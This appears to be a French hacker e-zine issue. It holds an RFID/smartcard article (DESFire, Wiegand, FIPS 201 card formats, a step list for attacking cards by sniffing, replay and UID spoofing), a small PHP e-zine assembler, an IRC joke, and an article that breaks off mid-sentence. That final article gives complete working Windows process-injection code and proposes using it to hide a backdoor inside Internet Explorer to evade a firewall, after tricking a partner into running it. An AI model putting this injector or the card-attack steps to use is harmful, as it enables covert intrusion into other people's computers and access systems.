application c'est une sorte de répertoire, qui peut entre dynamiquement 
créer ou effacer, dans une application ta des fichiers et des clés. Tu peux 
avoir un maximum de 14 clés par application. Chaque fichier peut avoir des 
droits d'écritures et lecture séparé.

Donc une fois qu'on fait son authentification avec la commande spécifique du 
protocole ou doit passer le numéro de la clé.
Il y a 3 niveaux de clés:
	Master PICC : Clé « root» qui permet de créer des applications, changer les 
settings etc
	Master Application : Clé qui permet de contrôler l’application, changer les 
settings etc
	Normal : Clé dans l'application

On fois la carte setter avec nos différentes applications et clé, on doit 
setter celle qui roule, comme un programme dans un PC. C'est avec cette 
application quon va faire l'authentification  ou sur la Master. Le 
bruteforce est possible selon ce que j'ai entendu du concepteur de RfDump , 
la nouvelle version devrait permettre ça sur Desfire et SmartMX(tous les 
deux de Phillips ;) et je vois pas comment y peuvent faire un bruteforce sur 
n'importe quelles clés , vu que l'authentification se fais sur l'application 
courante ou le master Key, on verra avec leur soft. En faite nimporte quoi 
se bruteforce mais est-ce que c'est toujours optimal? ...

L'application de la carte dépend de ce que le lecteur fait avec, la majorité 
du temps, il inscrit des numéros (un identificateur d'usager), dans un 
format que tous les contrôleurs vont comprendre. Les carte magnétique 
uttilise le format ABA, les cartes de proximité peuvent aussi choisir de 
stocker dans se format.
Dans le domaine de la sécurité, Wiegand est très connu, c'est une sorte de 
format de trame, et de protocole de communication pour des identifateurs, 
comme ça, le lecteur peut aller sur n'importe quel contrôleur d'accès qui 
supporte par exemple le Wiegand 26 bits. Le lecteur, a un output avec des 
pins qui envoie des bits sur un cable Wiegand, qui peut aller jusqu'a 
plusieurs mètres.Un lecteur sans contrôleur ne fais pas grand-chose, nous 
avons besoin d'une boîte qui va recevoir les outputs du lecteur et prendre 
des actions en conséquence.

Le contrôleur d'accès a une base de données avec ses numéros là, et il 
compare s’ils sont valides dans chacun de ses groupes. Si oui, il débarre la 
porte pour X de temps et lock aussitôt, dépendamment de la configuration, 
s'il ne sont pas valides ou qu'il n’a pas réussi à se connecter avec une clé 
, il va refuser l'accès.
Un code "Duress" peut être aussi entrer dans la trame Wiegand , dans le cas 
ou un voleur prendrait ta carte et te demanderais le pin , tu aurais 2 pins 
, un normal et un dans le cas d'une alarme , alors le ptit voiyons entrerait 
le code duress et le contrôlleur pourrais ainsi voir le flag et caller la 
police :)

Est-ce que ce qu'il a y des trous de sécurité dans les smartcards ? La 
réponse est non car avec les nouvelles cartes , les anciennes attaques ne 
fonctionne plus. C'est rendu assez sécure , pour le moment avant que 
quelqu'un perce encore les protections ;]

Voici le copy and pastel d'un blog sur la carte Desfire :
------------------------------------------------------------
L'ACLU (Organisation américaine de défense des libertés individuelles) vient 
de révéler plusieurs documents montrant que le gouvernement américain été au 
courant des risques lié à l'utilisation de la technologie RFID dans les 
nouveaux passeports.
Ça se passe ici. Je vous recommande aussi les deux textes suivants :

    * ACLU Comments on Electronic Passports to State Department
    * Naked Data: How The U.S. Ignored International Concerns and Pushed for 
Radio Chips In Passports Without Security

Les risques soulevés sont : le skimming (soustraite des informations du 
passeport d'un porteur quand il est dans le champ d'un lecteur), 
l'Eavesdropping (écoute de communication RFID), le cloning (refaire à 
l'identique le contenu de la puce RFID), etc.

Personnellement je pense qu'un des dangers les plus médiatisés qui est le 
skimming (lecture des données perso de son passeport à l'insu de son plein 
gré & à distance) n'a pas lieu d'être.
En effet, il y a une confusion dans les thermes utilisés. La technologie 
sans contact utilisé est DESFire de Philips et bien qu'utilisant les mêmes 
normes sans contact que les tags RFID, il n'y a rien à voir. Ces derniers 
ont une portée de plusieurs mètres s’ils sont utilisés avec des portiques 
(utilisation dans les hangars de stockage) alors que la distance 
d'utilisation de DESFire est de... 3cm!! De plus, cette technologie propose 
beaucoup plus d'espace mémoire qu'un tag RFID ainsi qu'un processeur de 
crypto, il faut donc beaucoup plus d'énergie et donc une présence plus 
longue dans le champ électromagnétique.
Par contre, là où je trouve qu'il y a une totale aberration c'est qu'avec 
d'une part des blocs-mémoires pouvant être protégés par une clé de lecture 
et la présence d'un processeur de crypto, c'est de laisser toutes les 
données en claires! Inadmissible je trouve. Et ce n'est pas la présence du 
haché pour prouver l'intégrité des données qui va changer qq chose. Les 
risques d'écoutes, de lectures à proximité & de clonage restent bien réels.

À la base l'idée de mettre une puce sans contact n'est pas bête du tout, car 
elle permet une plus grande durée de vie du document (les cartes à puces à 
contact sont sujettes à l'usure, cf les CB à changer tous les 2ans), mais 
elle s'est plutôt très mal concrétisée.

Frédéric Kieny
http://72.14.207.104/search?q=cache:aP1BI9mBhH8J:fkieny.free.fr/index.php%3F2005/04/07/343-passeport-biometrique-rfid-reactions-de-laclu+desfire+blog&hl=en&gl=ca&ct=clnk&cd=6&client=firefox-a)
------------------------------------------------------------
C'est la seule remarque sur la sécurité de cette carte que j'ai trouvée sur 
le net, et je ne pense pas que le gouvernement américain se munît d'une 
carte plein de flaws .. À part pour pouvoir en lire le contenu.. Si je me 
fis à la documentation, c'est simplement si tu spécifies certains attributs 
qu'un fichier peut être passé en clair dans les airs. Le gars a tord au 
sujet de la sécurité de la carte. Le seul bug de sécurité de smartcard que 
je connaisse est dans les anciennes cartes Mifare , avec les fonctions de 
débit-crédit, qui permet d'incrémenter un montant, ou décrémentées.  Si tu  
avais seulement la clé pour décrémenter, tu pouvais décrémenter une valeur 
négative et ainsi monter le montant. Je ne sais pas si ça affecte les 
nouvelles cartes. Les cartes ne sont pas lisibles si on ne se connecte pas 
avec les clés READ, et on ne peut pas écrire si on a pas accès WRITE .. Dont 
pas de clonage. Pour le MITM c'est protégé avec l'authentification, tout est 
crypté par la suite donc rien n’en claire..
C'est complexe car même avec les clés pour lire , il faut savoir dans quel 
fichiers aller lire, dans quel application , et il y a un risque que 
l'information sois aussi encrypter home made dans la carte , rien n'empêche 
ça.


Sauf que meme si on ne peux pas écouter et trouvé des secrets cachées dans 
les trames, il y a un risque de Replay Attack ( aussi appellé le problème du 
grand Maître d'échec , Mafia Fraud , playback attak) sur certaine carte.
L'attaque consite tout simplement à écouter et à retransmettre avec d'autres 
readers. En principe le reader ne pourra pas lire la carte plus loin que 10 
cm , sauf que rien empeche de lire une carte la transmettre par un moyen 
donné à quelqu'un qui lui va être dans le 10 cm.

Imaginons le scénario suivant:

Nous sommes dans un magasin ou il uttilise un système de paiement avec carte 
sans contact.
Acteurs : Fraudeur1 et Fraudeur2, et Victime

Le client innocent uttilise une carte pour payé , la transaction est bonne , 
il repart avec ça grosse TV.
Fraudeur1 dis a Fraudeur2 que c'est lui la victime avec son regard louche. 
Fraudeur2 pointe son antenne vers Victime. Fraudeur1 tante de s'acheter une 
méga chaine stéréo , il sort ensuite son palm-modifier qui lui servira de 
carte. Son palm sera modifier pour pouvoir parler au reader du magasin , 
ainsi qu'un reader que fraudeur2 à sur lui. Le reader de Fradeur2 fais une 
passerelle avec la carte de Victime. Les informations que Fraudeur1 va passé 
au guichet son celle de Victime, il n'ont fais que augmenter le champ de 
réception en retransmettant le data. De cette facon Fradeur1 et 2 n'ont pas 
a uttiliser des attaques crytographiques lourdes contre les cartes et le 
reader. Ils uttisent donc la carte de l'autre qui sortait du magasin bien 
content avec ça TV.

Ce n'est pas une technique malheureusement qui va fonctionner sur la Desfire 
, car elle a une protection Replay attack justement ;] Un des protocoles de 
protection du replay est appelé : Hancke and Kuhn’s distance bounding 
protocol. Je suppose que les carte récentes ont sous une protection contre 
ça , mais c'est quand même une attaque puissante.

Certain RFID tag sont writable et pas protéger comme le montre RFDUMP sous 
Linux, mais les cartes sont pour la plupart sont bien protéger, on parle 
quand même du domaine du contrôle d'accès et certaines cartes vont avoir des 
informations cruciales sur certaines personnes. Ce qui peut être inquiétant 
c'est comme le disant le mec du blog, le skimming , donc les infos lisibles 
par tout le monde et le fait qu'on puisse aller altéré les données. Il y a 
aussi une limite a l'usure du EPROM a l'intérieur de la carte, pe qu'il est 
possible d'écrire en boucle continue et de faire en sorte de barrer toute 
écriture future.

Coté physique , les cartes sont blindé, il n'est pas possible de simplement 
copier le EPROM dans une carte vide ou homemade. Il y a des des sensors qui 
vérifie physiquement que la carte n'est pas altéré et empêche le clonage de 
cette facon ou le modification avec des rayons ultraviolets.

Pour ce qui du contrôleur, ça dépend du fabricant, la plupart son protégé 
par des mots de passe, on ne peut pas envoyer de commandes (en sachant les 
protocoles closed-source , le plus souvent) si on est pas authentifier, ça 
va de soi, mais chacun dois avoir une procédure pour ouvrir les portes 
manuellement.. Mais ça reste plus du côté informatique (sniffer les comm 
ports ou le trafic réseau). Le circuit électronique est de type est 
normalement fermé, donc si on ferme le courant ça n'ouvrira pas la porte (le 
relay ), l'attaque serait trop facile. Là on rentre dans le domaine de 
l'espionnage, si on a l'argent il y a aucune porte qui peut vraiment rester 
fermée, pour le commun des mortels c'est suffisant. On voit rarement des 
exploits sur les smartcards , mais en voici un qui a été fait sur les cartes 
Kinko:
http://www.mal-aware.org/2006/02/28/fedex-kinkos-smart-cards-hacked/
Le hack est tout simplement qu'il ont réussi a trouver la clé non encryptée 
sur la carte avec des appareils d'électroniques. En obtenant cette clé il 
peuvent réécrive les données sur la carte incluant le numéro de série et les 
informations de solde.

Passons maintenant à Fips 201
Fips 201 c'est les normes gouvernementales américaines pour tout ce qui est 
« sécurité ». http://fips201ep.cio.gov/
Ça inclut les normes pour les systèmes d'accès, les databases , tout le 
stock pour leur homeland security.
Ca indique le format des cartes contact/sans contact, ainsi que les 
protocoles de biométrie et tout ce qui à rapport avec ça par exemple les 
badges d'identification. C'est un paquet de documents techniques écrit par 
des professionnels du NIST en autre. En gros c'est vraiment un protocole de 
comment le data va circuler et son format. Ils se sont aperçus avec le 11 
septembre qu'il allait unifier leur système, question de permettre à un 
officier d'aller dans un endroit et pouvoir rentrer sans problème de 
compatibilité du système. Avant les fabricants de systèmes d'accès 
utilisaient leurs propres clés , et stockaient les données où il le désirait 
sur les cartes. Un autre lecteur pouvait voir la carte, mais ne pouvait pas 
connaître le numéro de l'usager, c'était sécure. Maintenant les informations 
sont stockées à un endroit spécifique et le format du data est connu. De 
plus, n'importe quel lecteur va pouvoir avoir accès à ses informations SANS 
CLÉ. Les informations incluent un numéro d'agence, un numéro 
d'identification, une date d'expiration, etc. C'est un fichier dans la carte 
qui sera écrite en sorte que n'importe quel fabricant puisse accéder au 
fichier avec ou sans crypto.Rien n'empêche à part des lois à quelqu'un avec 
un writer de carte d'inscrire ce qu'il désire dans les champs du fichier et 
se faire passé pour quelqu'un d'autre. FIPS facilite le clonage de carte, 
car en écrivant le numéro d'agence ou le numéro d'un autre carte, c'est 
vraiment copiez l'identité de l'autre carte et rien n'empêche cela, car les 
numéros sont a présent lisible par tous les lecteurs, ce qui avant n'était 
pas faisable.
Il font en sorte de détruire le marché des lecteurs en fessant ça, 
maintenant les lecteurs sont tous sur le même pied, c'est qu'une question de 
prix entre un compétiteur ou un autre. Il n'y a plus vraiment de feature 
spécial, ça va aller a nos amis les Chinois. Le marché va être plus pour les 
contrôleurs d'accès qui vont subir peu de changement au niveau de FIPS.

Lexique
CHUID = CardHolder Unique Identifier. Identificateur principal de la carte.
AID = Application ID . Identificateur de l'application
FID = File ID . Identificateur du fichier
FASC-N = Federal Agency Smart Credential Number
ACPU = Type de trame un peu comme TCP-IP, mais radio

CHUID
--------------------
Buffer Length : 2 bytes MAX
FASC-N(SEWG-012 , ancien numéro d'assurance sociale qui a changé de nom) : 
25 bytes MAX . 40 chars en BCD donnent 200bits (Iso 7811)
Agency Code : 4 bytes MAX
Organization Identifier : 4 bytes MAX
DUNS : 9 bytes MAX
GUID : 16 bytes MAX//Il sera stocker une adresse ipv6
Expiration Data : 8 bytes MAX
RFU
Authentification Key Map : 512 bytes MAX
Asymmetric Signature : 2816 bytes MAX
Error Detection Code : 1 byte MAX
FASC-N
Agency Code = 4 BCD digits //identifie l'agence gouvernementale
System Code = 4 BCD digits //identifie le système que la carte est enrôlé, 
site code
Credential Number = 6 BCD digits //encodé par l'agence
CS = 1 BCD digits //Credential series.
ICI = 1 BCD digits //Recommendé de toujours mettre 1 dedans
PI = 10 BCD digits //Person Identifier : Code numérique qui identifie la 
personne. Token
OC = 1 BCD digits // Organization Category : 1-Federal Gov , 2-State Gov , 
3-Commercial , 4- Autre Gov
OI = 4 BCD digits //Organization Identifier : 1-NIST, 2-State Code , 
3-Company code, 4 — Numeric Country Code
POA =1 BCD digits // Person/Organization Association Category : 1 — Employee 
, 2 — Civil, 3-Executive Staff, 4-Uniformed Service, 5 — Contractor, 
6-organizational affiliate , 7-6-organizational beneficiary
SS =1 BCD digits // Start Sentinel : Premier caractère quand une carte est 
lu
FS =1 BCD digits // Field separator : Caractère de séparation
ES =1 BCD digits // End Sentinel : Caractère de fin
LRC=1 BCD digits // Checksum

3 niveaux d’accès au CHUID selon le choix du manufacturier d'implémentation 
du FIPS:
Low — Uttilise aucune clé pour l’accès, émulation d’une carte contact.Le 
flag du fichier dois avoir le frère accès 0xE, qui permet de lire sans 
authentification et envoie-le data en plain.text, sans crypto.

Iso 1443-4 Activation PICC normal
Envoit de Select File 0x3000 ou 0x0007 (legacy)
Iso Select File s’occupe du AID / FID
Envoit Read Binary , devrait recevoir 27 bytes
Décode le CHUID , extraie le FASC-N. Il dise d’utiliser le Agency Code + 
System Code + Credential Number comme unique Token ou le GUID (ipv6). C'est 
ce qui sera envoyé au contrôleur pour son input , question de savoir si ça 
match ça database interne. L’output du lecteur est de 200 bits.

2. Medium — lecteur configuré avec des site secret Key ou site public Key
3. High - Crypto , FIPS 140 . Seulement les cartes contact, car elles sont 
Iso 7816-4 ACPU mais laissent le droit d’utiliser des protocoles 
propriétaires pour les contacts laids comme Desfire /3DES. Le medium et le 
high se ressemblent beaucoup, c'est simplement le niveau de crypto qui les 
différencie je n'expliquerais pas la cryptographie dans cet article, mais 
c'est tout le protocole de handshake et random Key, blabla selon les 
différents algo.
Dans le fond il on rajouter le Low profile, avant ce n'était pas possible de 
bypasser les clés pour pouvoir lire. Il reste encore les deux profiles 
sécure, mais d'après moi, les fabricants vont absolument implémenter le low 
profile. Imaginons, que tu arrives avec ta carte de Dallas qui ne supporte 
pas 3DES ou AES mais qui est ISO 14443, le lecteur doit lire quand même la 
carte, pour se faire il va se mettre en low profile.
L'avenir nous dira ce qui arrivera avec les normes gouvernementales 
américaines, reste à savoir si le Canada va engendrer le pas dans la même 
direction.
Car en y pensant un peu, les Américains vont tout mettre sur FIPS , inclut 
les passeports, alors va falloir être compatible avec eux.

Si vous voulez jouer avec le RFID, il faut s'équiper et ce n’est pas encore 
très « script kiddie». Il vous faut un lecteur qui a aussi la possibilité 
d'écrire et encore la, il faut qu'il supporter ISO 14443, savoir quel type 
de carte il supporte, qu'il est branchable sur un PC ou ordinateur portatif 
etc . Le site de RFdump propose un lecteur pour faire ça ainsi que le soft, 
jusqu'à date je n’ai pas vu grand application autre que celle-là. C'est 
quand même un domaine très intéressant, surtout après avoir lu ce qu’ils ont 
fais avec Rfdump dans des super marchés. Ce que je conseillerais pour 
quelqu'un qui veut connaître la sécurité d'une carte :
1. Connaitre le type de carte, quel compagnie , quel protocole elle uttilise
2. Savoir comment parler avec la carte  , savoir les caractéristiques de la 
carte ( Nb de byte de data , etc )
3. Déterminer le niveau d'encryption , voir si les mot de passes sont resté 
par default (l'encryption va tomber)
4. Déterminer s'il y a des accès read permis sans clé sur certains fichiers.
5. Déterminer s'il y a des accès write permis sans clé sur certains 
fichiers.
6. Sniffer la communication pour voir s'il a pas des trames lisibles en 
claire.
7. Tenter une attack replay.
8. Si les numéros de carte sont décoder , on peux placer remplacer le reader 
par un homemade qui lui
va envoyer des numéro volés.
9 . Programmer un reader pour qu'il aggisse comme une carte , on pourrais 
ainsi envoyer le meme UID qu'une carte connu, et peut-être pouvoir rentrer 
simplement avec ça , si l'authentification est null.

Référence FIPS : 	http://www.smart.gov/iab/documents/PACS.pdf
			http://fips201ep.cio.gov/documents/fips1402.pdf

Lecture :
http://www.semiconductors.philips.com/acrobat_download/other/identification/SFS075530.pdf
http://www.pcscworkgroup.com
http://www.mal-aware.org/2006/02/28/fedex-kinkos-smart-cards-hacked/
http://www.phxnews.com/fullstory.php?article=36917 // Funny story a propos 
de la fameuse sécurité américaine

John Wiley & Sons - Smart Card Handbook
John Wiley 
-RFID.Handbook.Fundamentals.and.Applications.in.Contactless.Smart.Cards.and.Identification.Second.Edition
Smart Card Manufacturing - A Pratical Guide
RFID For Dummie
RFID Security Syngress
Picking Virtual Pockets using Relay Attacks on Contactless Smartcard Systems
How to Build a Low-Cost, Extended-Range RFID Skimmer
Location Verification using Secure distance bounding protocol
A Practical Relay Attack on ISO 14443 - Proximity Cards - Gerhard Hancke1











     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Mindkind   |
           			                  '--------------------'



                    /-----------------------------------------------------\    
                    |              PyroFreak.Org ScanSheet                |    
                    |-----------------------------------------------------|    
                    | Vous faites du phreaking, ou vous voulez en faire   |    
                    |                                                     |
                    |                       SIMPLE                        |    
                    |                                                     |    
                    | Visiter notre site aller sur la page ScanSheet      |    
                    | remplisser les champs et appuyer sur                |
                    |                                                     |
                    | Version Imprimable pour ensuite:                    |
                    |                                  Diffuser/Imprimer  |    
                    |                                                     |    
                    |-----------------------------------------------------|    
                    | Http://Www.PyroFreak.Org/pyrotool/pyroScanSheet.php |    
                    \-----------------------------------------------------/    






     	    .-- -- ---- ----.
     	 ___|  MKD1001\012  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                            Ezine Maker
   
  	                                       AKA

                                 Un don de dieu pour la concurence				 
                                      




	Dans un elan d'extreme generositer generer par une fausse pitier camouflant le
	desire decrire un article de plus, jai gosser pour vous (les quelques fou qui
        edite des ezines)  un ezine maker. Etant bien placer pour savoir que lassemblage
	d'un ezine n'est pas une tache tres palpitante j'ai creer un petit script php
        qui fait toute la job sale pour nous. Alors voilla, je loffre a tous, peu etre
        ainsi finirons nous par avoir un peu de vrai concurence ;]. Cette article 
        expliquera le fonctionnement et les quelques conceptes basic utiliser par se
        script. Le but etant encore une fois de demontrer qu'un peu d'imagination 
        et encore moin de code peuvent changer une soiree endormante en sque vous voudrez,   
        j'en ai rien a foutre, jsuis canadien.


		


	Le fonctionnement de base est tres simple et similaire en beaucoup de point a 
ce qu'on pourrais faire pour modifier de facon dynamique un fichier html par l'application
dun filtre php. Exeption faite que ici nous n'avons pas de fichier html mais un fichier
configuration dans lequel n'est present que des variables interpreable par notre 
ezinemaker. Aucun parsing ne sera necessaire outre celui de differencier les differentes
variable l'une des autres. Comme une image vaut milles mots, je vais vous paster 
directement ici le contenu du fichier de configuration et vous expliquer comment le code
l'interprete et bati le ezine a partir des informations donner dans la conf. 



------------------------------start of template_mkd1000.txt

%disclaimer
%01.txt
%02.txt
%03.txt
%pub01.txt
%04.txt
%05.txt
%pub02.txt
%06.txt
%pub03.txt
%07.txt
%08.txt
%pub04.txt
%09.txt
%10.txt
%pub05.txt
%11.txt
%12.txt
%13.txt
%end

--------------------------------end of template_mkd1000.txt        


chaque mots debutant par un % est considerer comme une variable, qui est a remplacer par le
contenu du fichier du meme nom. Le ezine et ainsi assembler en moin de 2 par le php qui 
sempresse de concatener tout les fichiers en un seul. simple comme bonjour.


<?PHP
$zinefile = "template_mkd1000.txt";
$EOL = "\n";
$ezinefinal = "Mindkind1000.txt";

$zine = read_file($zinefile);




$line = explode($EOL,$zine);
$ezine = "";
for ($x=0;$x<count($line);$x++)
	{	
	$ezine .= read_file(str_replace("%","",$line[$x]));


	}

$fp = fopen ($ezinefinal, "w+");
fputs ($fp,$ezine);
fclose ($fp);

function read_file($file)
	{
	@$fid=fopen($file,"r");
	$page="";
	if ($fid)
		{
		while (!feof($fid))
			{
			$page=$page.fread($fid,1024);
                        }
		fclose($fid);
		}
                
	else
		{
		$page=0;
		}
	return($page);
}
?>	


	voila, ce n'est pas plus compliquer que ca, il suffisait d'y penser. 
quelque petite modification pourrais etre faite comme par exemple rajouter
un nombre de ligne a la fin de chaque fichier question detre sur que 2 text
ne se retrouve pas coller a linterieur du ezine. Nous n'aurions qua faire 
la modification suivante:

$maxbuffer = "5";
$paddingchar = "\r\n";
$buffer = "";
for ($x=0;$x<=$maxbuffer;$x++)
	{
	$buffer .= $paddingchar;
	}

$line = explode($EOL,$zine);
$ezine = "";

for ($x=0;$x<count($line);$x++)
	{	
	$ezine .= read_file(str_replace("%","",$line[$x])).$buffer;
	}


une autre modification pourrais consister a ajouter une classe de parsing
text qui soccupe du word wrap et autre platitude du genre, mais vous aurrez
a attendre a une autre fois pour en beneficier, ou mieu encore, coder le 
vous meme. Tout les outils sont a votre porter de main. 





     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Wyzeman    |
           			                  '--------------------'





      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                         pub of pub                      	         :  .
                                                                                         |  |
                                                        				 |  .
                           <Ivanlef0u_11> Wyzeman ta deja vu le film Les Visiteurs ?     '  '
 			   <Wyzeman> jai deja vu la bande annonce , ca compte ?          |  |
                           <Ivanlef0u_11> bof                                            |  |
                           <Ivanlef0u_11> c'est bien francais                            |  |
                           <Ivanlef0u_11> des bonnes expresions du moyen-age la          |  '
                           <Ivanlef0u_11> t'apprend plein de choses ;)                      ;
                           <Wyzeman> jen doute aucunement                                |  |
			   <Wyzeman> jai tellement confiance que jirais pas verifier si  |  |
                                     tu dit vrai ou non                                  |  |
                           <Ivanlef0u_11> genre                                          :  ;
                           * Ivanlef0u_11 dit a Wyzeman de sauter du pont                .  |                
                           * Wyzeman demande ce quil entend dire par sauter pont du et de|  |
                           <Ivanlef0u_11> pas suivi la ?                                 '  |
			   <Wyzeman> tant mieu					         |  |
                           <Ivanlef0u_11> rofl                                           |  '
                           * Wyzeman sen va en sifflant                                  .  ,
                           * Ivanlef0u_11 se gratte la tete     			 |  |
                           <Wyzeman> nessayer pas ca a la maison les jeunes, c du s-e    |  |
                                     tres dangereux, nous somme des professionnels. 						 :  .
                           <Ivanlef0u_11> et puis je dirais aussi                        |  |
                           <Ivanlef0u_11> pile vendu séparement                          ;  |
                           <Wyzeman> aucun n'achat n'est requis                          |  |
                           <Wyzeman> details a l'interieur                               |
                           <Ivanlef0u_11> ra la societée de consommation, ca rend idiot  .  ;      
                     			  ca, on apprend pleins de slogans a la con      |  |
                           <Wyzeman> voyons c super pratique seul dans le bois a -15c   /   '
 	                   <Wyzeman> a tien un ours, aucun nachat n'est requis         /   / B
	  		             details a l'interieur ;)    		      /   / U   
  	   		   <Wyzeman> a tien un fusil lazer anti ours, pile vendu,    /   , P   
                                     pile vendu separement	                    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
           




     	    .-- -- ---- ----.
     	 ___|  MKD1001\013  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                       La Piqure du poulet
   
  	                                       AKA

				   brulez moi ce type vivant !!!
                                      


La piqure du poulet

I)Intro
-------


En ces temps sombres ou les poulets sont devenus les pires ennemis de  l'humanitee  il me faut 
reagir, une seule solution lancer un antidote ! 

#DEFINE Epouvette_size 16

int AndidoteFactory(char * target)
{
	int vaccin;
	printf("Fabrication de l'antidote contre: %s\n",target);
	/*
	Procedure top-secrete on montre pas ! 
	*/
	return vaccin
	
}

int main(int argc,char *argv[])
{
  int solution;
	char buff[Eprouvette_size];
	if argc(!=2)
	{
	printf("Usage is: antidote <target>\n");
	return -1,
	}
	
	solution=AntidoteFactory(argv[1]);
	
	printf("La solution est prete!\n Veuillez aller la recuperer a l'acceuil de Minkind Corporation\n);	
	return 0;	
}


Aller fini de troller la. Le sujet du jour sera l'injection de code dans un  poulet heu.. dans 
un processus et nous allons notamment utiliser le shellcode  generique  que  j'ai  pondu  dans 
Intelligent  Windowz  Shellcodes. La  chose  est  simple  on choisi un process, on l'ouvre, on 
balance le code, on l'execute puis on se casse bref un peu comme avec les poulets.

II)Ching Chong ou la methode chinoise
---------------------------------------

Ban je balance le vaccint et j'explique :)

------------CUT HERE--------------------
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>

#define WIN32_LEAN_AND_MEAN

int NameToPid(char *ProcessName);

int main (int argc,char *argv[])
{
	if (argc !=2){
	printf("Usage is :inject <process>\n");
	exit(-1);
	}

	char code[]="\x33\xC0\xC3"; //xor,eax,eax ret

	printf("[*]Ownage du processus: %s\n",argv[1]);

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1]));
	
	if(hProc==NULL)
	{
	printf("Error with OpenProcess: %d\n",GetLastError());
	exit(-1);
	}
	
	printf("[*]Handle: 0x%x\n",hProc);
	
	int cbCodeSize = sizeof(code);
	printf("[*]CodeSize: %d\n",cbCodeSize);

	// on copie le code
	LPVOID CodeMem = VirtualAllocEx(hProc, NULL, cbCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	if (CodeMem==NULL)
	{
	printf("Error with VirtualAllocEx: %d\n",GetLastError());
	exit(-1);
	}
	
	printf("[*]Emplacement memoire: 0x%x\n",CodeMem);

	if (WriteProcessMemory(hProc, CodeMem, &code, cbCodeSize, 0) == FALSE)
	{
	printf("Error with WriteProcessMemory: %d\n",GetLastError());
	exit(-1);
	}

	DWORD ThreadID;
	HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) CodeMem ,0, 0, &ThreadID);
	
	if (hThread==NULL)
	{
	printf("Error with CreateRemoteThread: %d\n",GetLastError());
	exit(-1);
	}

	if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED)
	{
	printf("Error with WaitForSingleObject: %d\n",GetLastError());
	exit(-1);
	}

	if(VirtualFreeEx(hProc, CodeMem, 0, MEM_DECOMMIT)==FALSE)
	{
	printf("Error with VirtualFreeEx: %d\n",GetLastError());
	//exit(-1);
	}


	if(CloseHandle(hThread)==FALSE)
	{
	printf("Error with CloseHandle: %d\n",GetLastError());
	//exit(-1);
	}

	printf("[*]Target injected\n");
return 0;

}

int NameToPid(char *ProcessName)
{
  HANDLE hProcessSnap;
  PROCESSENTRY32 pe32;


  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  if(hProcessSnap == INVALID_HANDLE_VALUE)
  {
   printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
   exit(-1);
  }

  pe32.dwSize = sizeof(PROCESSENTRY32);

  if( !Process32First( hProcessSnap, &pe32 ) )
  {
    printf("Error with Process32First: %d\n",GetLastError());  
    CloseHandle(hProcessSnap);    
    exit(-1);
  }

 while(_stricmp(pe32.szExeFile,ProcessName)!=0) //_stricmp fuck la case sensitive
 {
	if(Process32Next(hProcessSnap,&pe32)==FALSE)
	{
	printf("Error with Process32Next: %d\n",GetLastError());  
    CloseHandle(hProcessSnap);     
    exit(-1);
	}
 }
	
	CloseHandle(hProcessSnap);

	return pe32.th32ProcessID;

}

------------CUT HERE--------------------

Ban c'est pas tres dur, il suffit de donner le nom du processus a injecter et  paf  le poulet. 
En fait je vais un expliquer un chtit peu:

D'abord un recuper un pseudo-handle sur le process avec  OpenProcess,  la  fonction  NameToPid 
permet comme sont nom l'indique de trouver le PID du  process (faites  ALT+CTRL+SUPPR et ds le 
gestionnaire des taches vous pourrez les voir... hey du  calme je vois venir bande de pervers, 
c'est pas des filles apwal les PID! ..dmg d'ailleur).

Ensuite  on  aloue  un  peu  memoire  ds le process avec VirtualAllocEx tout simplement :), on 
specifie juste la taille que l'on veut et des infos sur ce qu'on va faire avec.

Apres on envoie le code avec WriteProcessMemory jusqu'a la je pense pas que  vous  soyez  trop 
perdu. Puis on l'execute avec CreateRemoteThread.

On  attend  que  sa  soit  cuit  avec  WaitForSingleObject  puis  on  libere  la  memoire avec 
VirtualFreeEx et quitte avec CloseHandle.

*----------------* 
| Ching Chong !! | 
*----------------*

Le soucis c'est que notre code injecte ne sait pas ou il est le pauvre, il est  seul  dans  un 
monde qu'il ne connait pas, il faut donc qu'il trouve sont petit  chemin  tout  seul :) Ho bah 
vous me direz pkoi pas ne pas utiliser un shellcode  generique !  c'etait la fameuse technique 
chinoise !! 

Ici le code est tout bete: xor eax,eax //eax=0 ret //on se casse

Mais  ce  qui  serait  plus interressant ca serais d'executer un code ouvrant un shell, ou une 
reverse backdoor. La nous arrivons dans un monde ou l'on peut contourner un firewall !!!

III)Coup de tete, balayette!! 
------------------------------

He nan mdes et msieurs vous ne revez on peut grace a  l'injection  de  code  contournez un fw. 
Imaginer que l'ordi que vous attaquer soit protege par un firewall, vous envoyer un prog  (ici 
une backdoor par ex) par msn a votre tite  amie pour savoir si elle ne voue pas un culte  a la 
secte des poulets, bref elle  le  recoit et le lance (vraiment une belle dinde celle la) et la 
ching chong ! le firewall block l'ouverture du port de votre backdoor ...snirf :( Mais avec ce 
new produit toutes vos taches disparaiteront en un moins de tps ! En  effet  si  on  envoie un 
prog  qui  inject  du  code  ds  un  process  comme iexplorer.exe (internet  explorer)  qui  a 
normalement l'autorisation d'aller sur le web le firewall  n'interdira pas  l'acces  au net et 
